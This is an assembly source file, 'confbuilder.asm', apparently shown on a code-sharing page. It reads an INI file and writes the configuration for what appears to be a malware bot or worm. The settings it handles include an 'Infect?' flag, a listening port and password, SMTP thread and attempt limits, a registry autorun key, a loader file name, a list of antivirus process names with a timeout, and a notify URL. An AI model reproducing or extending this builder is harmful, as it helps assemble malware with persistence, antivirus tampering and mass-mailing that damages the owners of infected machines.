📄 confbuilder.asm
字号:
invoke GetCurrentDirectory, 2047, offset szConfIniFile
invoke lstrcat, offset szConfIniFile, offset szConfIniName
invoke CreateFile, offset szOut, GENERIC_WRITE, FILE_SHARE_WRITE or FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, 0
mov hWriteFile, eax
invoke GetPrivateProfileSectionNames, offset szSections, 8191, offset szConfIniFile
.IF !eax
invoke WriteError, offset szIniLoadError
.ENDIF
invoke WriteStr, offset szConfHeader
; Infect?
invoke GetPrivateProfileInt, offset szMainSecton, offset szPRKey, 0, offset szConfIniFile
.IF eax != 1
invoke WriteStr, offset szConfPRUse
.ENDIF
; Port
invoke GetPrivateProfileInt, offset szMainSecton, offset szPortKey, 6777, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfPort, eax
invoke WriteStr, offset szBuf
; Password
invoke GetPrivateProfileString, offset szMainSecton, offset szPassKey, offset szNULL, offset szStrBuf, 8191, offset szConfIniFile
invoke EncryptPass, offset szStrBuf
invoke wsprintf, offset szBuf, offset szConfPass, eax
invoke WriteStr, offset szBuf
; MaxConnections
invoke GetPrivateProfileInt, offset szMainSecton, offset szConsKey, 0, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfCons, eax
invoke WriteStr, offset szBuf
; Version
invoke GetPrivateProfileInt, offset szMainSecton, offset szVersKey, 0, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfVers, eax
invoke WriteStr, offset szBuf
; DNSHost
invoke GetPrivateProfileString, offset szMainSecton, offset szDNSHostKey, offset szDefDNS, offset szStrBuf, 8191, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfDNS, offset szStrBuf
invoke WriteStr, offset szBuf
; DNSPort
invoke GetPrivateProfileInt, offset szMainSecton, offset szDNSPortKey, 53, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfDNSPrt, eax
invoke WriteStr, offset szBuf
; TestVersion
invoke GetPrivateProfileInt, offset szMainSecton, offset szTestVerKey, 0, offset szConfIniFile
.IF eax == 1
invoke WriteStr, offset szConfTestVer
.ENDIF
; Work Time
invoke GetPrivateProfileInt, offset szMainSecton, offset szTime1Key, 0, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfTime1, eax
invoke WriteStr, offset szBuf
invoke GetPrivateProfileInt, offset szMainSecton, offset szTime2Key, 0, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfTime2, eax
invoke WriteStr, offset szBuf
invoke GetPrivateProfileInt, offset szMainSecton, offset szTime3Key, 0, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfTime3, eax
invoke WriteStr, offset szBuf
; DNSPort
invoke GetPrivateProfileInt, offset szMainSecton, offset szDNSPortKey, 53, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfDNSPrt, eax
invoke WriteStr, offset szBuf
; MaxSmtpThreads
invoke GetPrivateProfileInt, offset szMainSecton, offset szMaxSmtpTrdKey, 1, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfSmtpTrd, eax
invoke WriteStr, offset szBuf
; MaxSmtpAttemps
invoke GetPrivateProfileInt, offset szMainSecton, offset szMaxSmtpAttKey, 0, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfSmtpAtt, eax
invoke WriteStr, offset szBuf
; FileNames
; ---------
; BaseRegPath
invoke GetPrivateProfileString, offset szFileSection, offset szRegBaseKey, offset szNULL, offset szStrBuf, 8191, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfRegBase, offset szStrBuf
invoke WriteStr, offset szBuf
; RegAutoKey
invoke GetPrivateProfileString, offset szFileSection, offset szRegAutoKeyKey, offset szNULL, offset szStrBuf, 8191, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfRegAutoKey, offset szStrBuf
invoke WriteStr, offset szBuf
; LoaderName
invoke GetPrivateProfileString, offset szFileSection, offset szFileNameKey, offset szNULL, offset szStrBuf, 8191, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfFileName, offset szStrBuf
invoke WriteStr, offset szBuf
invoke wsprintf, offset szBuf, offset szConfFileName2, offset szStrBuf
invoke WriteStr, offset szBuf
; AV Processes
invoke GetPrivateProfileSection, offset szAVSection, offset szStrBuf, 8191, offset szConfIniFile
.IF eax
mov esi, offset szStrBuf
@av_loop:
invoke lstrlen, esi
.IF eax
mov ebx, eax
invoke StrStrI, esi, offset szAVTimeoutKey
.IF !eax
.IF !szConfPEntryFlag
mov szConfPEntryFlag, 1
invoke wsprintf, offset szBuf, offset szConfPEntryFirst, esi
.ELSE
invoke wsprintf, offset szBuf, offset szConfPEntryNext, esi
.ENDIF
invoke WriteStr, offset szBuf
.ENDIF
add esi, ebx
inc esi
jmp @av_loop
.ENDIF
.ENDIF
.IF szConfPEntryFlag
invoke WriteStr, offset szConfPEntryLast
invoke GetPrivateProfileString, offset szAVSection, offset szAVTimeoutKey, offset szNULL, offset szStrBuf, 8191, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfPK, offset szStrBuf
invoke WriteStr, offset szBuf
.ELSE
invoke WriteStr, offset szConfPKUse
.ENDIF
; Notify
invoke GetPrivateProfileSection, offset szNfySection, offset szStrBuf, 8191, offset szConfIniFile
.IF eax
mov esi, offset szStrBuf
@nfy_loop:
invoke lstrlen, esi
.IF eax
mov ebx, eax
invoke StrStrI, esi, offset szNfyTimeoutKey
mov edi, eax
invoke StrStrI, esi, offset szNfyUrlKey
or edi, eax
.IF !edi
.IF !szConfNfyFlag
mov szConfNfyFlag, 1
invoke wsprintf, offset szBuf, offset szConfNfyEntryFirst, esi
.ELSE
invoke wsprintf, offset szBuf, offset szConfPEntryNext, esi
.ENDIF
invoke WriteStr, offset szBuf
.ENDIF
add esi, ebx
inc esi
jmp @nfy_loop
.ENDIF
.ENDIF
.IF szConfNfyFlag
invoke WriteStr, offset szConfPEntryLast
invoke GetPrivateProfileString, offset szNfySection, offset szNfyTimeoutKey, offset szNULL, offset szStrBuf, 8191, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfNfyTimeout, offset szStrBuf
invoke WriteStr, offset szBuf
invoke GetPrivateProfileString, offset szNfySection, offset szNfyUrlKey, offset szNULL, offset szStrBuf, 8191, offset szConfIniFile
invoke wsprintf, offset szBuf, offset szConfNfyUrl, offset szStrBuf
invoke WriteStr, offset szBuf
.ELSE
invoke WriteStr, offset szConfNfyUse
.ENDIF
invoke CloseHandle, hWriteFile
retn
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -